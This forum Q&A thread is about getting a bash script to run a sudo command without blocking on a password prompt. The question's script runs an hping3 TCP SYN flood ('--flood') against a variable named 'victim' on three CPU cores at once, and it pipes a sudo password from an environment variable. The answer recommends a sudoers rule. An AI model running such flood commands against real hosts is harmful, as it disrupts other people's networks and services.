0

I have a script (A.sh) which runs another script (B.sh), in which I need a root password to launch a command.

A.sh:

#!/bin/bash
script=./hping.sh
taskset -c 0 $script > ./test.txt &
taskset -c 1 $script > ./test.txt &
taskset -c 2 $script > ./test.txt &

B.sh (hping.sh)

#!/bin/bash
victim=$1
echo $sudoPW | sudo hping3 -i eth0 -d 128 -S --flood $victim

The problem is that when A.sh tries to run B.sh, it asks for a root password, and then it stops, it can't get the password from the console.

How can I solve this?

mazix
  • 83

1 Answers1

0

It's not recommended to set the sudo password in environment variable. Other may get access to the password. Instead you can modify sudoer's file which will allow passwordless sudo for certain commands. 'hping3' in this case.

shantanoo
  • 111